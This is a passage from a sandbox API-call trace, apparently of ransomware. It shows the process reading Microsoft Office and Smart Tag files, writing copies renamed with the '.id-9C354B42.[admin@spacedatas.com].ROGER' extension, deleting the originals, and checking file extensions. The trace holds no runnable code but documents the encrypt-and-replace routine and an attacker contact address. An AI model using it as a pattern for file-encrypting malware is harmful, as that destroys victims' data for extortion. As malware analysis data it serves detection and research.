lpOverlapped=0x0) returned 1 [0045.179] WriteFile (in: hFile=0x350, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x760, lpOverlapped=0x0) returned 1 [0045.180] ReadFile (in: hFile=0x3a0, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0045.180] WriteFile (in: hFile=0x350, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.181] SetEndOfFile (hFile=0x350) returned 1 [0045.181] CloseHandle (hObject=0x350) returned 1 [0045.181] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0045.181] SetEndOfFile (hFile=0x3a0) returned 1 [0045.182] CloseHandle (hObject=0x3a0) returned 1 [0045.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0045.182] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 1 [0045.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0045.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0045.182] lstrlenW (lpString=".doc") returned 4 [0045.182] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.182] lstrlenW (lpString=".docx") returned 5 [0045.182] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0045.182] lstrlenW (lpString=".pdf") returned 4 [0045.182] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.183] lstrlenW (lpString=".xls") returned 4 [0045.183] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.183] lstrlenW (lpString=".xlsx") returned 5 [0045.183] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0045.183] lstrlenW (lpString=".ppt") returned 4 [0045.183] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0045.183] lstrlenW (lpString=".zip") returned 4 [0045.183] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.183] lstrlenW (lpString=".rar") returned 4 [0045.183] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.183] lstrlenW (lpString=".bz2") returned 4 [0045.183] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.183] lstrlenW (lpString=".7z") returned 3 [0045.183] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0045.183] lstrlenW (lpString=".dbf") returned 4 [0045.183] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0045.183] lstrlenW (lpString=".1cd") returned 4 [0045.183] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0045.183] lstrlenW (lpString=".jpg") returned 4 [0045.183] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0045.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0045.183] lstrlenW (lpString=".doc") returned 4 [0045.183] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.183] lstrlenW (lpString=".docx") returned 5 [0045.183] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0045.183] lstrlenW (lpString=".pdf") returned 4 [0045.183] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.184] lstrlenW (lpString=".xls") returned 4 [0045.184] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.184] lstrlenW (lpString=".xlsx") returned 5 [0045.184] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0045.184] lstrlenW (lpString=".ppt") returned 4 [0045.184] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0045.184] lstrlenW (lpString=".zip") returned 4 [0045.184] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.184] lstrlenW (lpString=".rar") returned 4 [0045.184] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.184] lstrlenW (lpString=".bz2") returned 4 [0045.184] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.184] lstrlenW (lpString=".7z") returned 3 [0045.184] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0045.184] lstrlenW (lpString=".dbf") returned 4 [0045.184] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0045.184] lstrlenW (lpString=".1cd") returned 4 [0045.184] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0045.184] lstrlenW (lpString=".jpg") returned 4 [0045.184] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.184] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0045.184] lstrlenW (lpString="SETUP.XML") returned 9 [0045.184] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0045.593] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=31094) returned 1 [0045.593] CloseHandle (hObject=0x35c) returned 1 [0045.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 0x20 [0045.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0045.593] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0045.593] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0045.593] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0045.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0045.823] GetLastError () returned 0x0 [0045.823] ReadFile (in: hFile=0x35c, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x7976, lpOverlapped=0x0) returned 1 [0045.826] WriteFile (in: hFile=0x3d4, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x7980, lpOverlapped=0x0) returned 1 [0045.830] ReadFile (in: hFile=0x35c, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0045.830] WriteFile (in: hFile=0x3d4, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.830] SetEndOfFile (hFile=0x3d4) returned 1 [0045.830] CloseHandle (hObject=0x3d4) returned 1 [0045.830] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0045.830] SetEndOfFile (hFile=0x35c) returned 1 [0045.831] CloseHandle (hObject=0x35c) returned 1 [0045.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0045.832] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 1 [0045.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0045.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0045.832] lstrlenW (lpString=".doc") returned 4 [0045.832] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.832] lstrlenW (lpString=".docx") returned 5 [0045.832] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0045.832] lstrlenW (lpString=".pdf") returned 4 [0045.832] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.832] lstrlenW (lpString=".xls") returned 4 [0045.832] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.832] lstrlenW (lpString=".xlsx") returned 5 [0045.832] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0045.832] lstrlenW (lpString=".ppt") returned 4 [0045.832] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0045.832] lstrlenW (lpString=".zip") returned 4 [0045.832] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.832] lstrlenW (lpString=".rar") returned 4 [0045.832] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.832] lstrlenW (lpString=".bz2") returned 4 [0045.832] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.832] lstrlenW (lpString=".7z") returned 3 [0045.832] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0045.833] lstrlenW (lpString=".dbf") returned 4 [0045.833] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0045.833] lstrlenW (lpString=".1cd") returned 4 [0045.833] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0045.833] lstrlenW (lpString=".jpg") returned 4 [0045.833] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0045.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0045.833] lstrlenW (lpString=".doc") returned 4 [0045.833] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.833] lstrlenW (lpString=".docx") returned 5 [0045.833] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0045.833] lstrlenW (lpString=".pdf") returned 4 [0045.833] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.833] lstrlenW (lpString=".xls") returned 4 [0045.833] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.833] lstrlenW (lpString=".xlsx") returned 5 [0045.833] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0045.833] lstrlenW (lpString=".ppt") returned 4 [0045.833] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0045.833] lstrlenW (lpString=".zip") returned 4 [0045.833] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.833] lstrlenW (lpString=".rar") returned 4 [0045.833] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.833] lstrlenW (lpString=".bz2") returned 4 [0045.833] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.833] lstrlenW (lpString=".7z") returned 3 [0045.833] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0045.834] lstrlenW (lpString=".dbf") returned 4 [0045.834] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0045.834] lstrlenW (lpString=".1cd") returned 4 [0045.834] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0045.834] lstrlenW (lpString=".jpg") returned 4 [0045.834] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.834] lstrcmpiW (lpString1=".DAT", lpString2=".ROGER") returned -1 [0045.834] lstrlenW (lpString="STOCKS.DAT") returned 10 [0045.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0046.414] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=39017) returned 1 [0046.415] CloseHandle (hObject=0x3dc) returned 1 [0046.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 0x20 [0046.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.417] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0046.417] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.417] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.417] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0046.418] GetLastError () returned 0x0 [0046.418] ReadFile (in: hFile=0x3dc, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x9869, lpOverlapped=0x0) returned 1 [0046.437] WriteFile (in: hFile=0x370, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x9870, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x9870, lpOverlapped=0x0) returned 1 [0046.438] ReadFile (in: hFile=0x3dc, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0046.438] WriteFile (in: hFile=0x370, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xe8, lpOverlapped=0x0) returned 1 [0046.438] SetEndOfFile (hFile=0x370) returned 1 [0046.439] CloseHandle (hObject=0x370) returned 1 [0046.439] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.439] SetEndOfFile (hFile=0x3dc) returned 1 [0046.440] CloseHandle (hObject=0x3dc) returned 1 [0046.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0046.440] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 1 [0046.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0046.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0046.440] lstrlenW (lpString=".doc") returned 4 [0046.440] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0046.440] lstrlenW (lpString=".docx") returned 5 [0046.440] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0046.440] lstrlenW (lpString=".pdf") returned 4 [0046.440] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0046.440] lstrlenW (lpString=".xls") returned 4 [0046.440] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0046.440] lstrlenW (lpString=".xlsx") returned 5 [0046.440] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0046.441] lstrlenW (lpString=".ppt") returned 4 [0046.441] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0046.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0046.441] lstrlenW (lpString=".zip") returned 4 [0046.441] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0046.441] lstrlenW (lpString=".rar") returned 4 [0046.441] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0046.441] lstrlenW (lpString=".bz2") returned 4 [0046.441] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0046.441] lstrlenW (lpString=".7z") returned 3 [0046.441] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0046.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0046.441] lstrlenW (lpString=".dbf") returned 4 [0046.441] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0046.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0046.441] lstrlenW (lpString=".1cd") returned 4 [0046.441] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0046.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0046.441] lstrlenW (lpString=".jpg") returned 4 [0046.441] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0046.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0046.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0046.441] lstrlenW (lpString=".doc") returned 4 [0046.441] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0046.441] lstrlenW (lpString=".docx") returned 5 [0046.441] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0046.441] lstrlenW (lpString=".pdf") returned 4 [0046.441] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0046.441] lstrlenW (lpString=".xls") returned 4 [0046.441] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0046.442] lstrlenW (lpString=".xlsx") returned 5 [0046.442] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0046.442] lstrlenW (lpString=".ppt") returned 4 [0046.442] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0046.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0046.442] lstrlenW (lpString=".zip") returned 4 [0046.442] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0046.442] lstrlenW (lpString=".rar") returned 4 [0046.442] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0046.442] lstrlenW (lpString=".bz2") returned 4 [0046.442] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0046.442] lstrlenW (lpString=".7z") returned 3 [0046.442] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0046.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0046.442] lstrlenW (lpString=".dbf") returned 4 [0046.442] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0046.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0046.442] lstrlenW (lpString=".1cd") returned 4 [0046.442] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0046.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0046.442] lstrlenW (lpString=".jpg") returned 4 [0046.442] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0046.442] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0046.442] lstrlenW (lpString="TIME.XML") returned 8 [0046.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0046.443] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=8564) returned 1 [0046.443] CloseHandle (hObject=0x3dc) returned 1 [0046.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 0x20 [0046.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0046.443] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.443] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.443] CreateFileW 